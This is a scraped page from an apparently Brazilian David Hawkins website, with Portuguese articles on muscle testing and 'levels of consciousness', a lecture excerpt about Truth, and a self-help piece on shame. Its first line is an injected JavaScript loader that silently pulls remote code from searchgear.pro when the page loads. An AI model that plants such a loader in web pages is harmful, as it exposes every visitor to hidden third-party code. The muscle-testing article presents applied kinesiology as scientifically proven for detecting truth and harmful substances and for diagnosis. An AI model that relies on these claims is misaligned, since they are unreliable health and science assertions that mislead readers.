;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de mentira - David Hawkins Brasil
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Níveis de Consciência

Teste Muscular – A Cinesiologia aplicada aos Níveis de Consciência

Será que um teste muscular pode colaborar com a investigação da verdade e com o desenvolvimento da escala da consciência?

Para Dr. David Hawkins sim e se você estiver acompanhando nossos artigos sobre o livro “Poder vs Força” também vai compreender como o trabalho dos Níveis de Consciência é um divisor de águas na compreensão do comportamento humano.

Agora é a vez de conhecer um pouco sobre a história e a base de desenvolvimento desse estudo que durou cerca de 20 anos e que adotou um método clínico pragmático com a avaliação de incontáveis calibragens.

Milhares de pessoas com características demográficas, de saúde e de personalidade das mais diversificadas; pertencentes à inúmeras áreas do conhecimento humano e residentes em diversos países e continentes foram testadas para a compilação dos dados.

O estudo também foi conduzido em grupos e individualmente e, consideradas todas as variáveis, o método se mostrou replicável e com resultados idênticos e reproduzíveis.

Até mesmo a variação de ambientes onde os indivíduos eram testados e os estados emocionais também foram diversificados, buscando-se a maior abrangência de condições possível.

Cinesiologia 

A grande ferramenta desse estudo foi a Cinesiologia, ciência que demonstrou que os músculos tornam-se:

  • instantaneamente fracos quando o corpo é exposto a estímulos nocivos e
  • fica forte quando exposto a estímulos benéficos.

Essa técnica se mostrou rápida, eficiente, fácil de executar e altamente decisiva. E o mais interessante é que o corpo responde sem mesmo a mente ter conhecimento da resposta.

A partir desses resultados, muitos médicos passaram a usar a Cinesiologia como ferramenta diagnóstica com ótimos resultados.

“O corpo de fato consegue responder com precisão, mesmo quando a mente consciente não tem conhecimento” (Dr.Hawkins)

Um exemplo disso foi um experimento com 2 tipos de envelopes para uma plateia de mil pessoas.

Um deles continha adoçante artificial e o outro vitamina C orgânica. Os participantes testavam uns nos outros os envelopes de forma cega, ou seja, eles não sabiam o que havia no envelope.

A surpresa foi enorme ao ver que em contato com o adoçante artificial a musculatura dos participantes ficava fraca, ao passo que em contato com a vitamina C orgânica, os músculos reagiam com força

O experimento mostrou o quanto nosso corpo é capaz de oferecer respostas sem que a consciência esteja presente nisso.

Qual foi o contexto histórico desse estudo? 

Saber a evolução do uso diagnóstico da Cinesiologia é importante para acompanharmos sua evolução até chegar à escala dos níveis de consciência.

Em 1970, estudos sobre a influência da nutrição na saúde integral eram hostilizados pela maioria da comunidade médica. Mas alguns setores da medicina, especialmente os médicos holísticos, se envolveram francamente com os testes musculares em suas práticas clínicas. 

Acompanhe a linha do tempo:

Mas, afinal como é essa Técnica?

É tão efetiva quanto simples! 

São 2 pessoas, uma será testada estendendo o braço lateralmente, paralelamente ao chão à altura do ombro e a outra exercerá uma força no braço para baixo, utilizando apenas 2 dedos nos pulsos de quem será testado e deve dizer “resista”. 

Uma afirmação deve ser feita, como por exemplo: meu nome é…. Se a pessoa sendo testada tiver citado seu próprio nome, o braço permanecerá forte, mas se a afirmação for falsa, o braço perderá força e descerá.

A técnica para a calibragem dos níveis de consciência utiliza uma escala que vai de 20 a 1000, classificando os diversos níveis dos negativos até os positivos. 

A simplicidade e eficácia da técnica permite sua aplicação nos mais diversos contextos, desde que a questão seja bem formulada de forma a permitir respostas exatas como verdadeiro ou falso, sim ou não. 

Vale, entretanto, citar alguns aspectos importantes para o uso da técnica:

  • Deve ser utilizada apenas para condições existentes ou eventos passados. Questões do futuro não obterão respostas válidas
  • A impessoalidade sobre sentimentos positivos e negativos durante o procedimento deve ser observada
  • Não deve haver música ou distrações no plano de fundo 
  • Aquele que vai ser testado deve permanecer com os olhos fechados 

O cuidado com a execução do teste inclui ainda outros detalhes mais específicos, mas a ideia aqui é mostrar o quão simples é sua execução, embora esteja completamente apoiado na ciência.

O uso do Teste Muscular no Estudo da Escala dos Níveis de Consciência 

Dr. Hawkins usou o teste muscular para a pesquisa sobre os níveis de consciência introduzindo uma correlação numérica em escala logarítmica para calibrar o poder relativo da energia de diferentes atitudes, pensamentos, sentimentos, situações e relacionamentos.

Essa escala vai de 1 a 1000 e está assim distribuída:

  • de 1 a 600 – existência física e o ápice da consciência humana
  • de 600 a 1000 – estados avançados de iluminação

O uso da técnica deve ser responsável e utilizada segundo a aprovação do indivíduo a ser testado. A resposta não está relacionada à força física do indivíduo.

Avaliar caso a caso com ética e responsabilidade, considerando-se os contextos e variáveis é atitude necessária.

Tudo é feito em nome do Bem Maior e isso deve estar presente na formulação da afirmativa a ser testada.

“Dedicação e intenção com a verdade têm de ser vistos como prioridade, acima de opiniões pessoais e tentativas de provar estar certo.”(Dr. Hawkins) 

Existem limites para o teste muscular?

Para obter resultados precisos é necessário que aquele que se submete ao teste tenha:

  • uma calibragem em 200 dentro da escala dos níveis de consciência
  • uma intenção íntegra e verdadeira que esteja acima de 200. 
  • a verdade como guia e não a subjetividade 

Segundo Dr.Hawkins, pelo menos 10% da população não atende a esses quesitos e, portanto não está apta a usar o teste. 

O surgimento de uma ciência clínica da consciência que valida a Realidade espiritual, naturalmente, vai gerar resistência, uma vez que é na verdade um confronto direto da dominação narcisista do próprio núcleo do ego, que é inatamente presunçoso e opinativo.” (Dr.Hawkins)

O livro “Poder vs Força” traz uma explicação bastante detalhada de todo esse processo e é quase que uma conversa com Dr. Hawkins que explica detalhadamente todo o desenvolvimento de seu estudo e o quanto ele impactou na vida de milhares de pessoas.

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David Hawkins

Apaixonar-se pela Verdade: o Caminho para a Iluminação – por Dr. David Hawkins

Como apaixonar-se pela Verdade? Acompanhe esse Trecho da Palestra proferida em seu seminário em Sedona, Arizona em 15/09/2007.

Apaixonar-se pela verdade

A dedicação e compromisso com a Verdade nos faz atravessar cada crença que surge como bloqueio.

Tudo aquilo pelo que nos afeiçoamos, nos apegamos ou evitamos deve ser transcendido para que apenas a Verdade se mantenha.

A Verdade não depende de:

  • forma,
  • preferências,
  • local,
  • tempo,
  • rótulos,
  • conceitos ou
  • pensamentos.

Tudo isso são apenas pequenas expressões e variâncias da verdade e, quando acreditamos que alguma delas é a verdade em si, assim que descobrimos que não é, pois ela se vai, sofremos.

A verdade nos faz sofrer?

Sofremos por apego a ilusões e não por descobrirmos a Verdade.

Sofremos por ter criado expectativas mentais que são diferentes do físico e da Vontade Divina, pois temos vício em querer controlar as coisas e somos egoístas por querer que ela saia do jeito que queremos que saia, independente do que os outros acham.

A Verdade não leva em consideração apenas nossa visão de mundo, nossas crenças, nossos pontos de vista, mas a de todos. E segue adiante nos trazendo sempre os melhores aprendizados.

Tudo que acontece é santo e sagrado para um olho sábio.

Nada pode ser ruim para quem enxerga a Verdade. Por isso, vale a pena apaixonar-se pela verdade.

Cada ser, por mais abissal que possa parecer, sendo humano ou não, está em um processo evolutivo passando pelos aprendizados perfeitos para que sua consciência evolua e possa aprender tudo que precisa para o próximo ciclo.

“O sofrimento deste ciclo é a cura para o próximo ciclo” – Pandora Treinamentos

Ame a Verdade, apaixone-se pela Verdade acima de tudo e além de suas crenças, conceitos e até mesmo do que suas recompensas. E aí está a Liberdade Espiritual.

Apaixonar-se pela verdade – Dr.David Hawkins

Ative a legenda em português para uma melhor experiência.

“Eu sei o que eu disse antes, mas existem algumas coisas que eu ouvi durante a minha vida, que não importa quantas vezes eu as ouça, eu me apaixono por ouvi-las de novo.

Então eu estou tentando compartilhar a minha paixão pela Verdade com vocês. Que vocês amem a Verdade, não pelo seu ganho, mas que vocês estimem, não apenas pelos ganhos, mas pelo seu amor pela Verdade.

O amor pela Verdade em si.

E então vai te guiar por todo o caminho até a Iluminação.

Amém.”

Sobre o Palestrante

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

– Psiquiatra clínico por mais de 50 anos;
– Escreveu livro vanguardista sobre Psiquiatria Ortomolecular com o químico ganhador do Prêmio Nobel Linus Pauling;
– Entrou para o hall da fama da medicina ortomolecular;
– Criador do Mapa de Consciência;
– Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
– Consultor diplomático entre países com conflito político;
– Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
– Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
– Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
– Dezenas de outros prêmio e honras podem ser vistos na lista completa em: https://davidhawkins.com.br/david-hawkins/biografia-dr-david-hawkins/

Sobre suas obras

Dr. David R. Hawkins é autor de doze livros, sendo dois deles best sellers mundiais com mais de um milhão de cópias vendidas em mais de 25 idiomas. Estes dois livros, Poder vs Força e Deixar Ir, foram traduzidos para o português pela editora Pandora Treinamentos e estão disponíveis neste link. Nos livros, David R. Hawkins explica sobre o conceituado Mapa da Consciência, assim como podemos nos ancorar e atrair os campos mais positivos de consciência, e sobre a técnica de investigação da Verdade a partir do teste de resistência muscular, um aprimoramento da ciência da cinesiologia aplicada.

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Níveis de Consciência

Vergonha, é possível vencê-la? – com base em Dr. David Hawkins

A vergonha é um dos maiores bloqueios do ser humano para enfrentar problemas e se desenvolver

Essa emoção está tão presente em nosso dia a dia que muitas vezes nem a percebemos. Sentimos vergonha:

  • por um elogio,
  • em ter feito algo sem querer que saia dos padrões aceitáveis da sociedade (deixar comida cair, babar ao rir, arrotar entre a fala, etc),
  • vergonha por estar com uma espinha no rosto,
  • da nossa gordurinha localizada,
  • de nossa família,
  • de nós mesmos,
  • vergonha “alheia” (pelo que o outro fez),
  • vergonha de assumir nossas decisões,
  • de voltar atrás em uma decisão,
  • de nossos pensamentos bizarros que achamos que só nós temos,
  • vergonha de sentir vergonha.

Afinal, por que sentimos tanta vergonha?

Para entender isso, precisamos beber da fonte da vergonha, que é a resistência à Realidade. A vergonha é o medo de:

  • não ser aceito pelos outros,
  • errar,
  • se expor ao ridículo,
  • falhar,
  • decepcionar os outros,
  • não atender às expectativas dos outros ou de si.

Ou seja, são medos das projeções e cobranças sociais e culturais.

Historicamente, vergonha era acompanhada de banimento. Um pária da sociedade era banido de seu grupo ou bando e fadado a viver em isolamento como castigo por ser diferente.

Antigamente, os grupos de humanos eram mais restritos, mais desconfiados de estranhos e a violência era liberada por ausência de autoridades.

Por isso, ser banido era sinônimo de quase morte. Era apenas uma questão de tempo até ficar sem recursos ou ser atacado por um animal faminto ou um bárbaro.

Consequentemente, esse trauma ficou registrado no inconsciente da sociedade e, hoje, a vergonha continua como um dos sentimentos mais inaceitáveis que se pode ter.

É um sentimento que traz tanta ausência de energia que é considerado o mais próximo da morte pelo Dr. David R. Hawkins, Ph.D., M.D. americano, autor do livro best-seller Power vs Force.

Dr. Hawkins afirma que a vergonha é utilizada como uma ferramenta de crueldade na sociedade, através de acusações e projeções de culpa pelos atos de uma pessoa no passado.

Isso se manifesta através de afirmações como: “você não tem vergonha?”, “eu sinto vergonha de você”, “você deveria se envergonhar”, “você é uma vergonha para a sociedade”.

Qualquer atitude que saia dos padrões de crenças de uma pessoa é considerada inaceitável, condenável e, logo, digna de vergonha.

Para entender como vencer a vergonha é necessário primeiro entender alguns pontos:

1. Vergonha é atrelada às crenças

Todos os seres humanos possuem sistemas de crenças próprios ou coletivos. Esses sistemas não são a Realidade, mas pontos de vistas julgamentalistas e emocionais sobre ela.

São opiniões e posicionalidades diferentes e distantes do que realmente É ou Foi. São retratos da realidade extraídos de um ângulo que não considera e percebe os outros ângulos.

Como em uma Polaroid, a foto esmaece e perde sua nitidez. Dessa forma, qualquer vergonha não é a Realidade, mas uma mera percepção sobre ela e a vontade de controlar como a realidade “deveria ser” ou “deveria ter sido”.

2. Vergonha é resistência à Realidade

Com isso, percebemos que a realidade acontece e, quando acontece, resistimos à ela por querer que ela “tivesse sido” diferente.

E isso é distanciamento da realidade. Afinal, a realidade é como se manifesta e não tem como ser diferente, caso contrário já seria diferente, obviamente.

Portanto, resistir à realidade traz sofrimento. Quanto maior o grau de resistência, maior o sofrimento. E o grau máximo de resistência à realidade leva o nome de vergonha.

Em suma, a vergonha é um estado onde gostaríamos de sumir, de virar um avestruz e esconder nossas cabeças na terra ou até mesmo preferir “morrer” ao invés de encarar aquela situação.

3. Vergonha é uma mentira bem contada

Se vergonha é resistência à realidade, mas acreditamos nela, significa que esse sentimento vem acompanhado de diversas justificativas argumentativas que nos convencem que devemos acreditar na vergonha e nos sentir envergonhados.

Essas justificativas são falsas, pois elas negam a realidade. Logo, o que nega a realidade é falsidade, é irrealidade, é ilusão.

Como, então, fazemos para vencer essa emoção?

Devemos aceitar a realidade como ela se manifesta ou se manifestou, sem resistência e, se possível, com gratidão.

Afinal, essa realidade é uma oportunidade de aprendizado para fazermos diferente da próxima vez. Todos os seres humanos erram. E o erro é a forma de acertarmos e nos corrigirmos. Isso é evolução.

O caminho é aprender com os erros e ser grato a eles. Quando aceitamos a realidade, partimos do princípio de humildade em reconhecer que as coisas não são como queremos que sejam, pois não temos o controle de tudo ao nosso redor.

Portanto, quando entendemos esse princípio, passamos a ver a vida com maior Graça. Com humor. E no humor não há vergonha. Ela é chata. Humor é divertido.

Mas o que significa aceitar a realidade?

Aceitar a realidade é entender que tudo ao nosso redor convergiu para que aquela determinada situação ocorresse por algum motivo, às vezes não entendida a partir das nossas percepções limitadas dos cinco sentidos e da interpretação da mente.

Partindo do principio de que “se aconteceu é porque tinha que ter acontecido”, nos livramos do peso do erro intencional ou por incapacidade.

Só nos vemos capazes de fazer diferente agora porque já experienciamos aquela situação. Seria impossível fazer diferente antes, porque senão teríamos feito. Aí está a Evolução.

Isso implica em, aprender com o erro e se permitir entender as coisas de maneira mais ampla, sem se culpar pelo passado.

Se negamos a realidade caímos em vergonha e, presos nesse sentimento denso, nada acontece. Não há aprendizado.

Então, a experiência perde sua essência e um acontecimento semelhante terá de surgir novamente. Só assim será possível despertar o nosso potencial de aprendizado que foi negligenciado na experiência anterior por não termos aprendido com o “erro”.

Assim, nos escravizamos em um círculo vicioso de sermos sempre vítimas de nossas próprias escolhas ou ausências de escolhas.

Para vencer a vergonha é necessário querer abrir mão do prazer de ser vítima. Pois a vítima tem o benefício de receber atenção daqueles que sentem dó. E receber esse amparo e carinho é agradável para o nosso ego narcisista.

Logo, ficar envergonhado e se colocar no papel de vítima tem suas recompensas: o de se tornar o centro das atenções.

Esse prazer oculto do ego precisa ser rendido e entregue, entendendo que essa atenção recebida temporariamente só faz com que nos mantenhamos no estado de vergonha até um próximo ciclo.

Ou seja, um minúsculo prazer de curto prazo que traz sofrimento no curto, médio e longo prazo e não vale a pena no contexto evolutivo.

10 passos práticos para vencer a vergonha

Na prática, assim que essa emoção surge, devemos:

  1. Separar o fato de como acreditamos que deveria ter ocorrido (nossa expectativa).
  2. Identificar o sentimento de vergonha e suas falsas justificativas e emocionalidades que tentarão te convencer que se envergonhar é o correto.
  3. Aceitar a realidade como ela É Agora.
  4. Render os prazeres de (a) se envolver com seus julgamentalismos e certezas mentais e (b) buscar atenção e afeto externo através de dó ou autopiedade.
  5. Não ser tirano consigo mesmo e “se dar bronca” por sentir vergonha, mas entender que é apenas uma natureza do ego humano e aceitar também essa natureza, sendo gentil com você mesmo. Se não, pode surgir a vergonha por sentir vergonha.
  6. Continuar observando os jogos falaciosos do ego (seu próprio e dos outros) até sair do turbilhão.
  7. Refletir sobre os aprendizados obtidos com a situação e agradecer pela oportunidade de perceber o absurdo de querer rejeitar a realidade, transformando a falsa percepção em aceitação verdadeira.
  8. Se for possível e sentir necessário, corrija o percurso através do autoperdão, perdoando ou pedindo perdão aos envolvidos e se disponha a reparar os danos ou mudar os acontecimentos.
  9. Se essa opção não for possível, apenas realize o processo de perdão acima mentalmente e continue rendendo os sentimentos de vergonha que irão surgir (e tentar te seduzir) até que a situação se acalme ou passe.
  10. Aceite a si e à Realidade como São, em todos os momentos, sem exceções, dando o seu melhor para evoluir o suficiente a cada dia alinhado aos princípios de moralidade.

Consequências positivas

Treinamentos e Mentorias sobre perdão, empatia, espiritualidade ou autoconhecimento também podem ajudar a entendermos e nos aprofundarmos em nossa natureza. Como consequência positiva, podemos nos aceitar cada dia mais para nos tornarmos pessoas e seres melhores.

Boas práticas.

Acompanhe esta série de artigos do Dr. David Hawkins listados abaixo em ordem crescente:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual